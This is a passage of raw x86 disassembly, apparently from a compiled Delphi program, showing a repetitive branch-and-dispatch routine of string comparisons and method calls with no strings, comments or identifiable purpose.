push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x1028]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1028]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x102c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x102c]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x1034]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1034]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1030]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1038]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1038]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0x103c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x103c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0x1040]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1040]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1044]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1044]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1048]
push eax
lea ecx, [ebp - 0x104c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x104c]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1048]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1050]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1050]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae138
lea eax, [ebp - 0x1054]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1054]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae138
lea eax, [ebp - 0x1058]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1058]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x105c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x105c]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae1e4
call fcn.00405ec0
jne 0x59bef5
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1060]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1060]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1064]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1064]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1070]
push eax
lea ecx, [ebp - 0x1074]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1074]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1070]
lea edx, [ebp - 0x106c]
call fcn.005939c8
mov eax, dword [ebp - 0x106c]
lea edx, [ebp - 0x1068]
call fcn.0058ff30
mov eax, dword [ebp - 0x1068]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x1078]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1078]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x107c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x107c]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x1088]
push eax
lea ecx, [ebp - 0x108c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x108c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1088]
lea edx, [ebp - 0x1084]
call fcn.005939c8
mov eax, dword [ebp - 0x1084]
lea edx, [ebp - 0x1080]
call fcn.0058ff30
mov eax, dword [ebp - 0x1080]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1098]
push eax
lea ecx, [ebp - 0x109c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x109c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1098]
lea edx, [ebp - 0x1094]
call fcn.005939c8
mov eax, dword [ebp - 0x1094]
lea edx, [ebp - 0x1090]
call fcn.0058ff30
mov eax, dword [ebp - 0x1090]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x10a0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10a0]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x10a4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10a4]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x10b0]
push eax
lea ecx, [ebp - 0x10b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10b4]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x10b0]
lea edx, [ebp - 0x10ac]
call fcn.005939c8
mov eax, dword [ebp - 0x10ac]
lea edx, [ebp - 0x10a8]
call fcn.0058ff30
mov eax, dword [ebp - 0x10a8]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae204
call fcn.00405ec0
jne 0x59c0b3
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x10b8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x10b8]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x10bc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x10bc]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x10c8]
push eax
lea ecx, [ebp - 0x10cc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10cc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x10c8]
lea edx, [ebp - 0x10c4]
call fcn.005939c8
mov eax, dword [ebp - 0x10c4]
lea edx, [ebp - 0x10c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x10c0]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x10d0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10d0]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x10d4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10d4]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x10e0]
push eax
lea ecx, [ebp - 0x10e4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10e4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x10e0]
lea edx, [ebp - 0x10dc]
call fcn.005939c8
mov eax, dword [ebp - 0x10dc]
lea edx, [ebp - 0x10d8]
call fcn.0058ff30
mov eax, dword [ebp - 0x10d8]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae21c
call fcn.00405ec0
jne 0x59c5b0
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x10e8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x10e8]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x10ec]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x10ec]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x10f8]
push eax
lea ecx, [ebp - 0x10fc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10fc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x10f8]
lea edx, [ebp - 0x10f4]
call fcn.005939c8
mov eax, dword [ebp - 0x10f4]
lea edx, [ebp - 0x10f0]
call fcn.0058ff30
mov eax, dword [ebp - 0x10f0]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x1100]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1100]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x1104]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1104]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x1110]
push eax
lea ecx, [ebp - 0x1114]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1114]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1110]
lea edx, [ebp - 0x110c]
call fcn.005939c8
mov eax, dword [ebp - 0x110c]
lea edx, [ebp - 0x1108]
call fcn.0058ff30
mov eax, dword [ebp - 0x1108]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1120]
push eax
lea ecx, [ebp - 0x1124]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1124]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1120]
lea edx, [ebp - 0x111c]
call fcn.005939c8
mov eax, dword [ebp - 0x111c]
lea edx, [ebp - 0x1118]
call fcn.0058ff30
mov eax, dword [ebp - 0x1118]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x1128]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1128]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae104
lea eax, [ebp - 0x112c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x112c]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x1138]
push eax
lea ecx, [ebp - 0x113c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x113c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1138]
lea edx, [ebp - 0x1134]
call fcn.005939c8
mov eax, dword [ebp - 0x1134]
lea edx, [ebp - 0x1130]
call fcn.0058ff30
mov eax, dword [ebp - 0x1130]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1148]
push eax
lea ecx, [ebp - 0x114c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x114c]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1148]
lea edx, [ebp - 0x1144]
call fcn.005939c8
mov eax, dword [ebp - 0x1144]
lea edx, [ebp - 0x1140]
call fcn.0058ff30
mov eax, dword [ebp - 0x1140]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0x1150]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1150]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae110
lea eax, [ebp - 0x1154]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1154]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x1160]
push eax
lea ecx, [ebp - 0x1164]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1164]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1160]
lea edx, [ebp - 0x115c]
call fcn.005939c8
mov eax, dword [ebp - 0x115c]
lea edx, [ebp - 0x1158]
call fcn.0058ff30
mov eax, dword [ebp - 0x1158]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1170]
push eax
lea ecx, [ebp - 0x1174]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1174]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1170]
lea edx, [ebp - 0x116c]
call fcn.005939c8
mov eax, dword [ebp - 0x116c]
lea edx, [ebp - 0x1168]
call fcn.0058ff30
mov eax, dword [ebp - 0x1168]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae138
lea eax, [ebp - 0x1178]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1178]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae138
lea eax, [ebp - 0x117c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x117c]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x1188]
push eax
lea ecx, [ebp - 0x118c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x118c]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1188]
lea edx, [ebp - 0x1184]
call fcn.005939c8
mov eax, dword [ebp - 0x1184]
lea edx, [ebp - 0x1180]
call fcn.0058ff30
mov eax, dword [ebp - 0x1180]
call fcn.0059405c
pop ecx
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae234
call fcn.00405ec0
jne 0x59c7a0
xor eax, eax
push ebp
push 0x59c799
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b24a8
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad834
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1190]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1190]
mov edx, 0x5ad834
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1194]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adcc8
call fcn.00405db0
mov eax, dword [ebp - 0x1194]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ad834
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x11a0]
push eax
lea ecx, [ebp - 0x11a4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11a4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x11a0]
lea edx, [ebp - 0x119c]
call fcn.005939c8
mov eax, dword [ebp - 0x119c]
lea edx, [ebp - 0x1198]
call fcn.0058ff30
mov eax, dword [ebp - 0x1198]
push eax
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x11a8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x11a8]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae0ec
push dword [ebp - 0x418]
push 0x5ae0f8
lea eax, [ebp - 0x11ac]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x11ac]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x11b8]
push eax
lea ecx, [ebp - 0x11bc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11bc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x11b8]
lea edx, [ebp - 0x11b4]
call fcn.005939c8
mov eax, dword [ebp - 0x11b4]
lea edx, [ebp - 0x11b0]
call fcn.0058ff30
mov eax, dword [ebp - 0x11b0]
call fcn.0059405c
pop ecx
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae24c
call fcn.00405ec0
jne 0x59ca72
lea eax, [ebp - 0x11c0]
push eax
lea ecx, [ebp - 0x11c4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11c4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x11c0]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x59c872
push 0
lea eax, [ebp - 0x11cc]
push eax
lea eax, [ebp - 0x11d0]
push eax
lea ecx, [ebp - 0x11d4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11d4]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x11d0]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x11cc]
lea edx, [ebp - 0x11c8]
call fcn.005939c8
mov edx, dword [ebp - 0x11c8]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
xor eax, eax
push ebp
push 0x59c8bf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c23c0
test al, al
jne 0x59c8a3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acf48
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c21ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59c8d3
xor eax, eax
push ebp
push 0x59c9d9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x11e0]
push eax
lea ecx, [ebp - 0x11e4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11e4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x11e0]
lea edx, [ebp - 0x11dc]
call fcn.0058ff30
mov edx, dword [ebp - 0x11dc]
lea eax, [ebp - 0x11d8]
call fcn.00406438
mov edx, dword [ebp - 0x11d8]
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2318
lea edx, [ebp - 0x11ec]
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2140
mov edx, dword [ebp - 0x11ec]
lea eax, [ebp - 0x11e8]
call fcn.00405d20
mov edx, dword [ebp - 0x11e8]
mov eax, 0x5ae26c
call fcn.0041038c
dec eax
je 0x59c9cf
lea edx, [ebp - 0x11f4]
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2140
mov ecx, dword [ebp - 0x11f4]
lea eax, [ebp - 0x11f0]
mov edx, 0x5ae274
call fcn.004064c4
mov edx, dword [ebp - 0x11f0]
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2318
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59c9ff
xor eax, eax
push ebp
push 0x59ca51
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x11f8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0x11f8]
lea eax, [ebp - 0x44c]
call fcn.00406438
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x44c]
call fcn.004c1f90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59ca5b
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c1d78
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae284
call fcn.00405ec0
jne 0x59d673
xor eax, eax
push ebp
push 0x59d66c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x11fc]
push eax
lea ecx, [ebp - 0x1200]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1200]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x11fc]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x59cb57
push 0
lea eax, [ebp - 0x1208]
push eax
lea eax, [ebp - 0x120c]
push eax
lea ecx, [ebp - 0x1210]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1210]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x120c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x1208]
lea edx, [ebp - 0x1204]
call fcn.005939c8
mov edx, dword [ebp - 0x1204]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
xor eax, eax
push ebp
push 0x59cba9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c23c0
test al, al
jne 0x59cb8d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
call fcn.00405498
jmp 0x5acf48
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c21ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59cbc2
xor eax, eax
push ebp
push 0x59ccc8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x121c]
push eax
lea ecx, [ebp - 0x1220]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1220]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x121c]
lea edx, [ebp - 0x1218]
call fcn.0058ff30
mov edx, dword [ebp - 0x1218]
lea eax, [ebp - 0x1214]
call fcn.00406438
mov edx, dword [ebp - 0x1214]
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2318
lea edx, [ebp - 0x1228]
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2140
mov edx, dword [ebp - 0x1228]
lea eax, [ebp - 0x1224]
call fcn.00405d20
mov edx, dword [ebp - 0x1224]
mov eax, 0x5ae26c
call fcn.0041038c
dec eax
je 0x59ccbe
lea edx, [ebp - 0x1230]
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2140
mov ecx, dword [ebp - 0x1230]
lea eax, [ebp - 0x122c]
mov edx, 0x5ae274
call fcn.004064c4
mov edx, dword [ebp - 0x122c]
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2318
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59ccf3
xor eax, eax
push ebp
push 0x59d645
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1234]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0x1234]
lea eax, [ebp - 0x44c]
call fcn.00406438
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x44c]
call fcn.004c1bac
mov dword [ebp - 0x650], eax
cmp dword [ebp - 0x650], 0
jne 0x59cd6a
mov eax, dword [0x5d4868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x44c]
call fcn.004c1dd8
mov dword [ebp - 0x650], eax
jmp 0x59cd75
mov eax, dword [ebp - 0x650]
call fcn.004c25ec
lea eax, [ebp - 0x1240]
push eax
lea ecx, [ebp - 0x1244]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1244]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1240]
lea edx, [ebp - 0x123c]
call fcn.0058ff30
mov edx, dword [ebp - 0x123c]
lea eax, [ebp - 0x1238]
call fcn.00406438
mov edx, dword [ebp - 0x1238]
mov eax, dword [ebp - 0x650]
call fcn.004c2d4c
lea eax, [ebp - 0x1250]
push eax
lea ecx, [ebp - 0x1254]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1254]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1250]
lea edx, [ebp - 0x124c]
call fcn.0058ff30
mov edx, dword [ebp - 0x124c]
lea eax, [ebp - 0x1248]
call fcn.00406438
mov edx, dword [ebp - 0x1248]
mov eax, dword [ebp - 0x650]
call fcn.004c2c88
lea eax, [ebp - 0x1260]
push eax
lea ecx, [ebp - 0x1264]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1264]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1260]
lea edx, [ebp - 0x125c]
call fcn.0058ff30
mov edx, dword [ebp - 0x125c]
lea eax, [ebp - 0x1258]
call fcn.00406438
mov edx, dword [ebp - 0x1258]
mov eax, dword [ebp - 0x650]
